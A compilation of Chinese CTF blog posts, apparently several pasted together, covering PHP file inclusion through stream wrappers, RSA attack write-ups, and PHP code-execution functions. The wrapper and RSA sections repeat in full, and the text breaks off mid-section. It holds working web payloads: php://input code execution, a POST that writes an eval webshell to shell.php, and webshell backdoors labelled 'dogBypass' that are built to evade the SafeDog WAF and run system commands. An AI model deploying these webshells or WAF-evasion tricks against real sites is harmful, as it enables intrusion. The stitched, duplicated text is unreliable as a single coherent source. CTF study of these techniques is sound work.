0×01 背景

上周总结了一些文件包含与伪协议结合的利用方法,本周就找一道例题进行演练。题目源自国外某挑战平台,平台上还有许多其他有趣的challenges题目,小伙伴有兴趣也可以上去好好玩耍一番。 

题目地址:http://level3.tasteless.eu/index.php?file= 

站点地址:http://chall.tasteless.eu/

背景.png

0×02 解题过程

首先访问题目站点http://level3.tasteless.eu/index.php?file= 发现给出了题目的源码,所以本题便是要通过代码审计获取flag.

源码信息:

 源码.png

源码中展示的信息还是很直接的:

1.高亮读取 index.php的源码

2.在提示信息中告知要读取PHP.ini ,里面有敏感信息

3.包含了anti_rfi.php,并提示不允许进行远程文件包含

4.使用require_one包含了GET请求的file参数。

根据上面的代码情况可以知道最重要的是第4点,所以可以使用如下思路进行解题。

1.使用读取PHP.ini和anti_rfi.php,获取足够的信息。

2.绕过anti_rfi.php并远程包含一句话。

3.使用PHP伪协议直接执行代码。

分析后大致有如上的思路,第2点是需要开启allow_url_fopen,allow_url_include,第3点需要开启allow_url_include就可以了。 

读取php.ini 

http://level3.tasteless.eu/php.ini

ini.png

从php.ini中得到了allow_url_include是on的状态,所以可以使用PHP伪协议执行代码,可以使用php://input的协议,成功执行了代码。

 daima.png

2.png

此时需要获取站点的目录信息,由于allow_url_fopen是为off的状态所以无法使用远程文件包含执行命令了,也就无法直接用菜刀去连接并寻找flag,但是已经知道网站的根目录/var/www/chall/level3

此时本想可以使用命令执行的函数执行命令获取目录信息,但是这里似乎做了限制,无法执行系统命令,所以这里需要介绍PHP的scandir()函数会将当先目录下的目录结构以数组的方式保存,请求http://level3.tasteless.eu/index.php?file=php://input [POST DATA:]<?php print_r(scandir(‘/var/www/chall/level3′))?>得到flag文件的名称。

mingcheng.png

访问th3_th3_fl4g得到flag的值。

fangwen.png

0×03 小小总结

想必上周总结的伪协议与本周文件包含结合的利用方法小伙伴已经GET到了,解题过程大致有如下3步骤:

1.分析站点给出的源代码

2.判断allow_url_fopen,allow_url_include的开启状态,来推测可以使用的伪协议

3.使用相应的伪协议执行代码获取flag

当无法判断allow_url_fopen,allow_url_include的开启状态时,可逐一尝试如下的请求判断哪些能够执行,如果有上传功能那么可能是考phar或zip等压缩流的知识点。 

PHP 读文件和代码执行的方式:

1.?file=data:text/plain,<?php phpinfo()?>

2.?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

3.?file=php://input [POST DATA:]<?php phpinfo()?>

4.?file=php://filter/read=convert.base64-encode/resource=xxx.php

……

0×04扩展小知识

虽然本题allow_url_fopen是off的状态,所以是无法使用远程文件包含的,如果是ON的话就需要使用文件包含读取anti_rfi.php文件,查看文件中的源码了。 

如,使用http://level3.tasteless.eu/index.php?file=php://input [POST DATA] <?php highlight_file(‘anti_rfi.php’)?>读取anti_rfi.php文件的源码信息。

yuanma.png

从源码中可以看到使用了正则匹配http://, data 匹配到了,返回hacker detected,但是并没有匹配ftp://所以使用ftp://也是一个思路。

 silu 1.png

silu 2.png

 640.webp.jpg

上一期已经给大家分享了的RSA的基本解题思路,总结如下,本期带来几种复杂的RSA题目解法。

00.png


以上都是基本解法,基于n能够分解的前提下进行的解法,但是当题目n的长度达到2048、4096bit以上的级别的时候,上述的方法就不适用了。

一、CTF题目实战

1.1 利用n的公约数

题目链接 : http://pan.baidu.com/s/1bo7maR1  密码:kd7o

题目:在一道CTF题中,已知n1和n2且长度很大,e都为65537。

1.1 1.png

解题思路:求解n1,n2的最大公约数,用python脚本实现,脚本参考下篇文章

http://www.cnblogs.com/reborn-blog/p/7553528.html

1.1 2.png

此时求解出一个公约数,此即为n1,n2共有的共因素p,在借助公式n=p*q解出q。

1.2 共模攻击

我们知道RSA加密算法:

1.2 1.png

如果收到两份密文c1,c2,是一个明文m由相同的n和不同的2个e(e1,e2)进行加密的,此时无需求解出d即可破解出明文,具体的证明过程就不给出了,可自行查阅资料。

题目链接:http://pan.baidu.com/s/1bSmJHO 密码:0mzz

题目:

1.2 2.png

这道题给出两个加密文件,flag.enc1和flag.enc2,verhardRSA.py给出了N的值和e1,e1。

打开加密文件会乱码,你可以使用winhex来提取十六进制。也可以使用python的libnum模块来进行进制和字符串的转换。

libnum模块的安装方法:

git clone https://github.com/hellman/libnum

cd libnum                      

python setup.py install

下面直接给出这种题型的解密脚本,脚本作者是ByStudent,非斗哥原创。

gmpy2模块可以参考pcat的文章安装,http://www.cnblogs.com/pcat/p/5746821.html

用.png

用2.png

1.3 低加密指数攻击

加密指数指的是e,因为e是可以随机选取的,当e很小时就会被直接破解掉。

当e=3,而且明文也很小,导致明文的三次方仍然小于n,那么通过直接对密文3次开放,即可得到明文。

C=me mod n

如果e=3,且me<n,那么

me mod n= me,即C=me

m=3√c

如果e=3,且me>n那么设k,有:

c= me +kn

爆破k,如果ckn能开三次根式,那么可以直接得到明文。

题目链接:http://pan.baidu.com/s/1nuIxdQ5  密码:avvw

avw.png

通过公钥pubkey.pem获取e和n的值:

用 3.png

发现n的长度为4098,难以直接分解得到p和q。

p q.png

e=3,尝试使用低加密指数攻击,通过计算可知密文的3次方大于n。

大于  N.png

利用脚本爆破n的值求出m。

m.png

将m转换字符串的形式。

形式.png

二、总结

大致介绍了3种情形,RSA题目解密方法远不止这些,本文算是上一篇的延伸,所有脚本和题目,以及脑图和密码学相关的几本书籍都放在网盘:链接:http://pan.baidu.com/s/1i55UoQh 密码:5l4s,小伙伴们根据需要进行下载吧。

640.webp.jpg

首先归纳下常见的文件包含函数:include、require、include_once、require_once、highlight_file 、show_source 、readfile 、file_get_contents 、fopen 、file,计划对文件包含漏洞与php封装协议的利用方法进行总结,本篇先总结下一些封装协议,涉及的相关协议:file://、php://filter、php://input、zip://、compress.bzip2://、compress.zlib://、data://,后续再对每个文件包含函数进一步进行探讨。

环境概要:

PHP.ini:

allow_url_fopen :on  默认开启  该选项为on便是激活了 URL 形式的 fopen 封装协议使得可以访问 URL 对象文件等。

allow_url_include:off  默认关闭,该选项为on便是允许 包含URL 对象文件等。

 

为了能够尽可能的列举所有情况本次测试使用的PHP版本为>=5.2 具体为5.2,5.3,5.5,7.0;PHP版本<=5.2 可以使用%00进行截断。

 

0×01 是否截断问题:

本篇由以下这个简单的例子进行探讨,首先看如下两种文件包含情况。

情况一:不需要截断:

http://127.0.0.1/test.php?file=file:///c:/users/Thinking/desktop/flag.txt

<?php

include($_GET['file'])

?>

 

情况二:需要截断:

在php版本<=5.2中进行测试是可以使用%00截断的。

http://127.0.0.1/test.php?file=file:///c:/users/Thinking/desktop/flag.txt%00

<?php

include($_GET['file'].’.php’)

?>

 

0×02 allow_url_fopen与allow_url_include是否开启的问题:


【file://协议】

PHP.ini:

file:// 协议在双off的情况下也可以正常使用;

allow_url_fopen :off/on

allow_url_include:off/on

 

file:// 用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响

参考自:http://php.net/manual/zh/wrappers.file.php

02 1.png

使用方法:

file:// [文件的绝对路径和文件名]

http://127.0.0.1/cmd.php?file=file://D:/soft/phpStudy/WWW/phpcode.txt

02 2.png

 

【php://协议】

条件:

不需要开启allow_url_fopen,仅php://input、 php://stdin、 php://memory 和 php://temp 需要开启allow_url_include。

php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filter和php://input,php://filter用于读取源码,php://input用于执行php代码。

参考自:http://php.net/manual/zh/wrappers.php.php#refsect2-wrappers.php-unknown-unknown-unknown-descriptioq

php://filter 读取源代码并进行base64编码输出,不然会直接当做php代码执行就看不到源代码内容了。

PHP.ini:

php://filter在双off的情况下也可以正常使用;

allow_url_fopen :off/on

allow_url_include:off/on

 02 3.png

测试现象:

http://127.0.0.1/cmd.php?file=php://filter/read=convert.base64-encode/resource=./cmd.php

 02 4.png

php://input 可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行。

PHP.ini:

allow_url_fopen :off/on

allow_url_include:on

02 5.png

测试现象:

http://127.0.0.1/cmd.php?file=php://input

[POST DATA] <?php phpinfo()?>

也可以POST如下内容生成一句话: <?php fputs(fopen(“shell.php”,”w”),’<?php eval($_POST["cmd"];?>’);?>

02 6.png

【zip://, bzip2://, zlib://协议】

PHP.ini:

zip://, bzip2://, zlib://协议在双off的情况下也可以正常使用;

allow_url_fopen :off/on

allow_url_include:off/on

 

zip://, bzip2://, zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名。

参考自:http://php.net/manual/zh/wrappers.compression.php

02 7.png

【zip://协议】

使用方法:

zip://archive.zip#dir/file.txt

zip:// [压缩文件绝对路径]#[压缩文件内的子文件名]

测试现象:

http://127.0.0.1/cmd.php?file=zip://D:/soft/phpStudy/WWW/file.jpg%23phpcode.txt

先将要执行的PHP代码写好文件名为phpcode.txt,将phpcode.txt进行zip压缩,压缩文件名为file.zip,如果可以上传zip文件便直接上传,若不能便将file.zip重命名为file.jpg后在上传,其他几种压缩格式也可以这样操作。

由于#在get请求中会将后面的参数忽略所以使用get请求时候应进行url编码为%23,且此处经过测试相对路径是不可行,所以只能用绝对路径。

02 8.png

【bzip2://协议】

使用方法:

compress.bzip2://file.bz2

测试现象:

http://127.0.0.1/cmd.php?file=compress.bzip2://D:/soft/phpStudy/WWW/file.jpg

or

http://127.0.0.1/cmd.php?file=compress.bzip2://./file.jpg

 BZ.png

 

【zlib://协议】

使用方法:

compress.zlib://file.gz

 

测试现象:

http://127.0.0.1/cmd.php?file=compress.zlib://D:/soft/phpStudy/WWW/file.jpg

or

http://127.0.0.1/cmd.php?file=compress.zlib://./file.jpg

 zlib.png

 

【data://协议】

经过测试官方文档上存在一处问题,经过测试PHP版本5.2,5.3,5.5,7.0;data:// 协议是是受限于allow_url_fopen的,官方文档上给出的是NO,所以要使用data://协议需要满足双on条件

PHP.ini:

data://协议必须双在on才能正常使用;

allow_url_fopen :on

allow_url_include:on

参考自:http://php.net/manual/zh/wrappers.data.php, 官方文档上allow_url_fopen应为yes。

 data.png

测试现象:

http://127.0.0.1/cmd.php?file=data://text/plain,<?php phpinfo()?>

or

http://127.0.0.1/cmd.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

 

也可以:

http://127.0.0.1/cmd.php?file=data:text/plain,<?php phpinfo()?>

or

http://127.0.0.1/cmd.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

 ceshi.png

 

0×03  常规小结:

PHP封装协议在CTF蛮常见的,是经常会遇到的出题点,如下便是对本篇涉及的封装协议进行的总结,期待小伙伴的交流和补充。

常规小节.png

640.webp.jpg

上一期已经给大家分享了的RSA的基本解题思路,总结如下,本期带来几种复杂的RSA题目解法。

00.png


以上都是基本解法,基于n能够分解的前提下进行的解法,但是当题目n的长度达到2048、4096bit以上的级别的时候,上述的方法就不适用了。

一、CTF题目实战

1.1 利用n的公约数

题目链接 : http://pan.baidu.com/s/1bo7maR1  密码:kd7o

题目:在一道CTF题中,已知n1和n2且长度很大,e都为65537。

1.1 1.png

解题思路:求解n1,n2的最大公约数,用python脚本实现,脚本参考下篇文章

http://www.cnblogs.com/reborn-blog/p/7553528.html

1.1 2.png

此时求解出一个公约数,此即为n1,n2共有的共因素p,在借助公式n=p*q解出q。

1.2 共模攻击

我们知道RSA加密算法:

1.2 1.png

如果收到两份密文c1,c2,是一个明文m由相同的n和不同的2个e(e1,e2)进行加密的,此时无需求解出d即可破解出明文,具体的证明过程就不给出了,可自行查阅资料。

题目链接:http://pan.baidu.com/s/1bSmJHO 密码:0mzz

题目:

1.2 2.png

这道题给出两个加密文件,flag.enc1和flag.enc2,verhardRSA.py给出了N的值和e1,e1。

打开加密文件会乱码,你可以使用winhex来提取十六进制。也可以使用python的libnum模块来进行进制和字符串的转换。

libnum模块的安装方法:

git clone https://github.com/hellman/libnum

cd libnum                      

python setup.py install

下面直接给出这种题型的解密脚本,脚本作者是ByStudent,非斗哥原创。

gmpy2模块可以参考pcat的文章安装,http://www.cnblogs.com/pcat/p/5746821.html

用.png

用2.png

1.3 低加密指数攻击

加密指数指的是e,因为e是可以随机选取的,当e很小时就会被直接破解掉。

当e=3,而且明文也很小,导致明文的三次方仍然小于n,那么通过直接对密文3次开放,即可得到明文。

C=me mod n

如果e=3,且me<n,那么

me mod n= me,即C=me

m=3√c

如果e=3,且me>n那么设k,有:

c= me +kn

爆破k,如果ckn能开三次根式,那么可以直接得到明文。

题目链接:http://pan.baidu.com/s/1nuIxdQ5  密码:avvw

avw.png

通过公钥pubkey.pem获取e和n的值:

用 3.png

发现n的长度为4098,难以直接分解得到p和q。

p q.png

e=3,尝试使用低加密指数攻击,通过计算可知密文的3次方大于n。

大于  N.png

利用脚本爆破n的值求出m。

m.png

将m转换字符串的形式。

形式.png

二、总结

大致介绍了3种情形,RSA题目解密方法远不止这些,本文算是上一篇的延伸,所有脚本和题目,以及脑图和密码学相关的几本书籍都放在网盘:链接:http://pan.baidu.com/s/1i55UoQh 密码:5l4s,小伙伴们根据需要进行下载吧。

640.webp.jpg

首先归纳下常见的文件包含函数:include、require、include_once、require_once、highlight_file 、show_source 、readfile 、file_get_contents 、fopen 、file,计划对文件包含漏洞与php封装协议的利用方法进行总结,本篇先总结下一些封装协议,涉及的相关协议:file://、php://filter、php://input、zip://、compress.bzip2://、compress.zlib://、data://,后续再对每个文件包含函数进一步进行探讨。

环境概要:

PHP.ini:

allow_url_fopen :on  默认开启  该选项为on便是激活了 URL 形式的 fopen 封装协议使得可以访问 URL 对象文件等。

allow_url_include:off  默认关闭,该选项为on便是允许 包含URL 对象文件等。

 

为了能够尽可能的列举所有情况本次测试使用的PHP版本为>=5.2 具体为5.2,5.3,5.5,7.0;PHP版本<=5.2 可以使用%00进行截断。

 

0×01 是否截断问题:

本篇由以下这个简单的例子进行探讨,首先看如下两种文件包含情况。

情况一:不需要截断:

http://127.0.0.1/test.php?file=file:///c:/users/Thinking/desktop/flag.txt

<?php

include($_GET['file'])

?>

 

情况二:需要截断:

在php版本<=5.2中进行测试是可以使用%00截断的。

http://127.0.0.1/test.php?file=file:///c:/users/Thinking/desktop/flag.txt%00

<?php

include($_GET['file'].’.php’)

?>

 

0×02 allow_url_fopen与allow_url_include是否开启的问题:


【file://协议】

PHP.ini:

file:// 协议在双off的情况下也可以正常使用;

allow_url_fopen :off/on

allow_url_include:off/on

 

file:// 用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响

参考自:http://php.net/manual/zh/wrappers.file.php

02 1.png

使用方法:

file:// [文件的绝对路径和文件名]

http://127.0.0.1/cmd.php?file=file://D:/soft/phpStudy/WWW/phpcode.txt

02 2.png

 

【php://协议】

条件:

不需要开启allow_url_fopen,仅php://input、 php://stdin、 php://memory 和 php://temp 需要开启allow_url_include。

php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filter和php://input,php://filter用于读取源码,php://input用于执行php代码。

参考自:http://php.net/manual/zh/wrappers.php.php#refsect2-wrappers.php-unknown-unknown-unknown-descriptioq

php://filter 读取源代码并进行base64编码输出,不然会直接当做php代码执行就看不到源代码内容了。

PHP.ini:

php://filter在双off的情况下也可以正常使用;

allow_url_fopen :off/on

allow_url_include:off/on

 02 3.png

测试现象:

http://127.0.0.1/cmd.php?file=php://filter/read=convert.base64-encode/resource=./cmd.php

 02 4.png

php://input 可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行。

PHP.ini:

allow_url_fopen :off/on

allow_url_include:on

02 5.png

测试现象:

http://127.0.0.1/cmd.php?file=php://input

[POST DATA] <?php phpinfo()?>

也可以POST如下内容生成一句话: <?php fputs(fopen(“shell.php”,”w”),’<?php eval($_POST["cmd"];?>’);?>

02 6.png

【zip://, bzip2://, zlib://协议】

PHP.ini:

zip://, bzip2://, zlib://协议在双off的情况下也可以正常使用;

allow_url_fopen :off/on

allow_url_include:off/on

 

zip://, bzip2://, zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名。

参考自:http://php.net/manual/zh/wrappers.compression.php

02 7.png

【zip://协议】

使用方法:

zip://archive.zip#dir/file.txt

zip:// [压缩文件绝对路径]#[压缩文件内的子文件名]

测试现象:

http://127.0.0.1/cmd.php?file=zip://D:/soft/phpStudy/WWW/file.jpg%23phpcode.txt

先将要执行的PHP代码写好文件名为phpcode.txt,将phpcode.txt进行zip压缩,压缩文件名为file.zip,如果可以上传zip文件便直接上传,若不能便将file.zip重命名为file.jpg后在上传,其他几种压缩格式也可以这样操作。

由于#在get请求中会将后面的参数忽略所以使用get请求时候应进行url编码为%23,且此处经过测试相对路径是不可行,所以只能用绝对路径。

02 8.png

【bzip2://协议】

使用方法:

compress.bzip2://file.bz2

测试现象:

http://127.0.0.1/cmd.php?file=compress.bzip2://D:/soft/phpStudy/WWW/file.jpg

or

http://127.0.0.1/cmd.php?file=compress.bzip2://./file.jpg

 BZ.png

 

【zlib://协议】

使用方法:

compress.zlib://file.gz

 

测试现象:

http://127.0.0.1/cmd.php?file=compress.zlib://D:/soft/phpStudy/WWW/file.jpg

or

http://127.0.0.1/cmd.php?file=compress.zlib://./file.jpg

 zlib.png

 

【data://协议】

经过测试官方文档上存在一处问题,经过测试PHP版本5.2,5.3,5.5,7.0;data:// 协议是是受限于allow_url_fopen的,官方文档上给出的是NO,所以要使用data://协议需要满足双on条件

PHP.ini:

data://协议必须双在on才能正常使用;

allow_url_fopen :on

allow_url_include:on

参考自:http://php.net/manual/zh/wrappers.data.php, 官方文档上allow_url_fopen应为yes。

 data.png

测试现象:

http://127.0.0.1/cmd.php?file=data://text/plain,<?php phpinfo()?>

or

http://127.0.0.1/cmd.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

 

也可以:

http://127.0.0.1/cmd.php?file=data:text/plain,<?php phpinfo()?>

or

http://127.0.0.1/cmd.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

 ceshi.png

 

0×03  常规小结:

PHP封装协议在CTF蛮常见的,是经常会遇到的出题点,如下便是对本篇涉及的封装协议进行的总结,期待小伙伴的交流和补充。

常规小节.png

640.webp.jpg

首图.png

RSA是一种非对称加密算法,它由 公钥(n/e),私钥(n/d),明文M和密文C组成。我们做CTF题目时,一般题目中会给出公钥和密文让我们推出对应的私钥或者明文。RSA的相关公式都写在上面脑图中,在正式讲解RSA加密算法前我们先来普及一波数学的基本知识。

一、相关数学基础


1.1素数和互质数

素数也称质数,它的定义为除本身和 1 的乘积外,不能表示其他数的乘积。比如2,3,5,7,11,13,17……等都是素数。

互素数也称互质数,定义是公约数只有1的两个自然数,如:

 1和任何自然数 1 & 2

 任意 2个质数 2 & 3

 相邻2个自然数 4 & 5

 3 & 10 、7 & 10 、5 & 26等等

1.2模指数运算

模运算就是取余数,如5 mod 3 =2。而模指数就是,先做指数运算在做mod运算。

如:53 mod 7 = 125 mod 7 =6

我们可以使用python的pow()来求解模指数运算。

 1.2.png

1.3同余运算

两个整数a,b,它们除以整数M所得的余数相等:a ≡ b(mod m),比如说5除3余数为2,11除3余数也为2,于是可写成11 ≡ 5(mod 3)。

二、RSA加密算法


2.1 加解密算法

前面已经说过,RSA是一种非对称加密算法,这个算法的特点就是明文使用公钥进行加密得到密文,而密文解密使用私钥来解。

2.1.png

所需的密钥对为n,d,e。密钥对是如何生成的?

2.2 生成密钥对

密钥对的生成步骤如下:n → Led (L作为生成过程中的中间数)

2.2.png

 

三、CTF题目实战


3.1 First Blood 已知p、q、e求d

题目链接 : http://www.shiyanbar.com/ctf/1828

题目:

在一次RSA密钥对生成中,假设p=473398607161,q=4511491,e=17,求解出d

此题直接告诉我们p、q、e,让我们求解d

而d的计算公式为d*e ≡ 1 (mod L*i)  ,i=1,2,3…,

由于1和任何数做mod都为1,所有该公式又可转换为:

d*e mod (L*i )=1 , i=1,2,3…。

d*e除(L*i)的余数为1,即d*e = (L*I) + 1 。

直接使用脚本进行实现。

Clipboard Image.png

求d的脚本,也可以又rsatool.py这个脚本来实现,需要安装gmpy这个模块,链接如下:

链接:http://pan.baidu.com/s/1bCDyoQ 密码:09gj

3.2 Double Kill  已知p、q、e和密文 求明文

题目链接 : http://www.shiyanbar.com/ctf/1979

题目:

Use RSA to find the secret message

直接跑上题脚本获取d:

3.2 1.png

3.2 2.png

 3.2 3.png

5577446633554466577768879988

3.3 Triple Kill  已知n、e和密文 求明文

题目链接 : http://www.shiyanbar.com/ctf/1918 

3.3 1.png

 

n=920139713,e=19

因式分解 n 用yafu 或者在线因式分解

使用yafu:链接:http://pan.baidu.com/s/1croXpO 密码:w43p

分解.png

在线地址:

http://www.atool.org/quality_factor.php

 在线地址.png

p=18443,q=49891

求d:

 d.png

d=96849619

解密:

 jiemi 1.png

 jiemi 2.png

flag{13212je2ue28fy71w8u87y31r78eu1e2}

3.4 Quadra Kill  已知公钥和密文 求明文

题目链接 : http://www.shiyanbar.com/ctf/1772  

题目:

 3.4 1.png

此题只给了公钥,并没有做分解,我们可以对题目所给的公钥进行分解。

python实现:

 Clipboard Image.png

open.png

或则使用openssl:

ssl.png

使用yafu分解n 的值

 n.png

rsa-d.py计算d 的值

 d 1.png

 d2.png

明文 = 密文d mod n

 mingwen.png

3.5 Penta Kill  已知公钥和密文 求明文

题目链接 : http://www.shiyanbar.com/ctf/730 

题目:

 3.5 tui.png

3.5 tu 2.png

 

分解公钥得n、e的值,然后求解d,这边提供另外一种求解d的方案,就是利用github上的一个开源项目

github: https://github.com/pablocelayes/rsa-wiener-attack

 git.png

 脚本.png

python脚本下载:链接:http://pan.baidu.com/s/1qXVhKpI 密码:fuef

三、总结

限于篇幅,本篇先到这里告一个断落,下期会带来一些有一定难度RSA题目的解法,敬请期待,让斗哥带你走上RSA超神之路吧!

640.webp.jpg

本篇涉及函数:eval()、assert()、preg_repace()、create_function()、array_map()、call_user_func()、call_user_func_array(),array_filter,usort,uasort()

 

背景:

最近研究PHP的一些危险函数,先写下代码执行函数的归纳,主要是参考自官方手册的解读,并附上了一些dogBypass的一句话,为什么是dog呢?因为在我看来dog比较适合练手,所以本篇所有bypass仅适用dog(事实是因为时间有限 没有研究其他防护软件~),其他的防护需要自行测试,大家如果有其他代码执行函数也可提出,一起讨论交流。

00.png

0×00 eval结构图

 

eval函数会将字符串作为PHP代码执行,如常见的一句话后门程序:<?php eval($_POST[cmd])?>, 属于基础内容本篇暂不讨论。

 

0×01 assert函数

 

最常用的回调函数,验证assert后面的括号里的代码是否为true的函数。如果表达式不为true,那么则会给一个warning的警告

如:<?php assert(’1==2′);?> 

则会提醒:PHP Warning:  assert(): Assertion “1==2” failed in /usercode/file.php on line 1。

 

【利用示例代码】

<?php

//?cmd=phpinfo()

assert($_GET['cmd']);

?>

 

【dogBypass】

<?php

//cmd=phpinfo()

function cl  (){

return ‘assert’;

}

$a = cl();

$a($_POST['cmd']);

?>

assert_options  用于设置/获取断言的各种标志。 

“““

源自官方的解释,关键点:失败回调函数。

参数:

what

标志 INI 设置 默认值 描述

ASSERT_ACTIVE assert.active 1 启用 assert() 断言

ASSERT_WARNING assert.warning 1 为每个失败的断言产生一个 PHP 警告(warning)

ASSERT_BAIL assert.bail 0 在断言失败时中止执行

ASSERT_QUIET_EVAL assert.quiet_eval 0 在断言表达式求值时禁用 error_reporting 

ASSERT_CALLBACK assert.callback (NULL) 断言失败时调用回调函数

断言标志

value

标志的新值。 

返回值:返回任意标志的原始设置,出错时返回 FALSE。

 

【示例代码】

<?php

// 处理断言失败时的函数

function assert_failure()

{

    echo ‘Assert failed’;

}

 

// 我们的测试函数

function test_assert($parameter)

{

    assert(is_bool($parameter));

}

// 设置断言标志

assert_options(ASSERT_ACTIVE,   true);

assert_options(ASSERT_BAIL,     true);

assert_options(ASSERT_WARNING,  false);

assert_options(ASSERT_CALLBACK, ‘assert_failure’);

 

// 让一个断言会失败

test_assert(1);

 

// 由于 ASSERT_BAIL 是 true,这里永远也到不了

echo ‘Never reached’;

?> 

“““

0×02 preg_replace函数 : php<=5.5

 

执行一个正则表达式的搜索和替换,函数在php5.5被弃用,在php7.0被移除。

mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit])

搜索subject中匹配pattern的部分, 以replacement进行替换。

当第一个参数的正则表达式有e修正符的时候,第二个参数的字符串当做PHP代码执行。

 

““`

源自官方的解释;

e (PREG_REPLACE_EVAL)

Warning

This feature was DEPRECATED in PHP 5.5.0, and REMOVED as of PHP 7.0.0.

如果设置了这个被弃用的修饰符, preg_replace() 在进行了对替换字符串的后向引用替换之后, 将替换后的字符串作为php 代码评估执行(eval 函数方式),并使用执行结果 作为实际参与替换的字符串。单引号、双引号、反斜线(\)和 NULL 字符在 后向引用替换时会被用反斜线转义. 

““`

【示例代码】

<?php

//?cmd=phpinfo()

echo preg_replace(“/test/e”,$_GET["cmd"],”jutsttest”);

?>

 

0×03 creat_function函数

用于创建匿名函数, 使用了eval的操作存在某些安全性问题。

““`

源自官方的解释:

(PHP 4 >= 4.0.1, PHP 5, PHP 7)

create_function — Create an anonymous (lambda-style) function

 

语法:

string create_function ( string $args , string $code )

 

参数:

args The function arguments. 

code The function code.

Caution :

This function internally performs an eval() and as such has the same security issues as eval(). Additionally it has bad performance and memory usage characteristics.

 

返回值:

Returns a unique function name as a string, or FALSE on error。

“““

 

【用法理解】

<?php

$foo = create_function( ‘$x’, ‘return $x * 2;’ );

echo $foo( 10 );

?> 

 

相当于:

<?php

function foo ($x){

    return $x *= 2;

};

echo foo( 10 );

?> 

 

create_function的实现步骤:(参考自:http://www.laruence.com/2010/06/20/1602.html  讲解更为清晰)

    1. 获取参数, 函数体

    2. 拼凑一个”function __lambda_func (参数) { 函数体;} “的字符串

    3. eval之

    4. 通过__lambda_func在函数表中找到eval后得到的函数体, 找不到就出错

    5. 定义一个函数名:”\000_lambda_” . count(anonymous_functions)++

    6. 用新的函数名替换__lambda_func

    7. 返回新的函数名

 

问题一:未对要传入create_function中的代码做清理,执行的code拼接了可控变量的数据,导致可以将evil代码传入并被执行。【场景:直接写入恶意代码】

 

详细介绍:https://www.t00ls.net/viewthread.php?tid=20774

国文参考:http://lovexm.blog.51cto.com/3567383/1743442

外文参考:https://ttmm.io/tech/php-security-lambdas/

 

利用示例代码 &【dogBypass】

<?php

//post:name1=Thinking&name2=JoeVatte;}phpinfo();/*

$name1 = $_POST['name1'];

$name2 = $_POST['name2'];

$str = ‘return’.$name1.” & “.$name2.’;';

echo $str.’<br >’;

$newfunc = create_function(‘$name1′,$str);

 

问题二: 用于函数函数回调,个人理解就是create_function内部会使用eval,将传入的字符串进行eval得到函数体,在执行该函数。【场景:找到相应函数所在位置,审查是否有可以利用的地方】 有疑问:如何函数回调的例子。

“““

源自官方的解释:

Using anonymous functions as callback functions

<?php

$av = array(“the “, “a “, “that “, “this “);

array_walk($av, create_function(‘&$v,$k’, ‘$v = $v . “mango”;’));

print_r($av);

?> 

 

以上例程会输出:

Array

(

  [0] => the mango

  [1] => a mango

  [2] => that mango

  [3] => this mango

)

“““

示例代码,例子不好没想到怎么构造:

<?php

function evil($evil)

{

    echo $evil.’:test | ‘;

}

$av = array(“the “, “a “, “that “, “this “);

array_walk($av, create_function(‘&$v,$k’, ‘evil($v);’));

print_r($av);

?> 

0×04 array_map函数

 

““`

源自官方的解释:

(PHP 4 >= 4.0.6, PHP 5, PHP 7)

array_map — 为数组的每个元素应用回调函数 

说明:

array array_map ( callable $callback , array $array1 [, array $... ] )

array_map():返回数组,是为 array1 每个元素应用 callback函数之后的数组。 callback 函数形参的数量和传给 array_map() 数组数量,两者必须一样。 

参数:

callback

回调函数,应用到每个数组里的每个元素。 

array1

数组,遍历运行 callback 函数。 

数组列表,每个都遍历运行 callback 函数。 

返回值:

返回数组,包含 callback 函数处理之后 array1 的所有元素。

 

Example #1 array_map() 例子

<?php

function cube($n)

{

    return($n * $n * $n);

}

 

$a = array(1, 2, 3, 4, 5);

$b = array_map(“cube”, $a);

print_r($b);

?> 

这使得 $b 成为: 

Array

(

    [0] => 1

    [1] => 8

    [2] => 27

    [3] => 64

    [4] => 125

)

“““

 

【利用示例代码】

<?php

//post:func=system&cmd=whoami

$bad_func=$_POST['func'];

$bad_cmd=$_POST['cmd'];

$bad_array[0]=$bad_cmd;

$new_array=array_map($bad_func,$bad_array);

//print_r($new_array);

?>

 

【dogBypass】

<?php

//post:func=system&cmd=whoami

$bad_func=$_POST['func'];

$bad_cmd=$_POST['cmd'];

$bad_array[0]=$bad_cmd;

$func_evil=trim(‘ a r ra y_ma p  ’);

$func_evil =str_replace(” “, “”, $func_evil);

$new_array=$func_evil($bad_func,$bad_array);

//print_r($new_array);

?>

 

0×05 call_user_func函数

 

““`

源自官方的解释:

call_user_func

(PHP 4, PHP 5, PHP 7)

call_user_func — 把第一个参数作为回调函数调用, 后续参数作为回调函数的参数传入。

说明:

mixed call_user_func ( callable $callback [, mixed $parameter [, mixed $... ]] )

第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。 

参数:

callback

将被调用的回调函数(callable)。 

parameter

0个或以上的参数,被传入回调函数。

 

返回值:

返回回调函数的返回值。

 

call_user_func() 的例子

<?php

function barber($type)

{

    echo “You wanted a $type haircut, no problem\n”;

}

call_user_func(‘barber’, “mushroom”);

call_user_func(‘barber’, “shave”);

?> 

以上例程会输出:

You wanted a mushroom haircut, no problem

You wanted a shave haircut, no problem

 

““`

 

利用示例代码 &【dogBypass】

<?php

//func=system&cmd=whoami

$bad_func=$_POST['func'];

$bad_cmd=$_POST['cmd'];

call_user_func($bad_func,$bad_cmd);

?>

 

0×06  call_user_func_array函数

“““

源自官方的解释:

call_user_func_array

(PHP 4 >= 4.0.4, PHP 5, PHP 7)

call_user_func_array — 调用回调函数,并把一个数组参数作为回调函数的参数

说明:

mixed call_user_func_array ( callable $callback , array $param_arr )

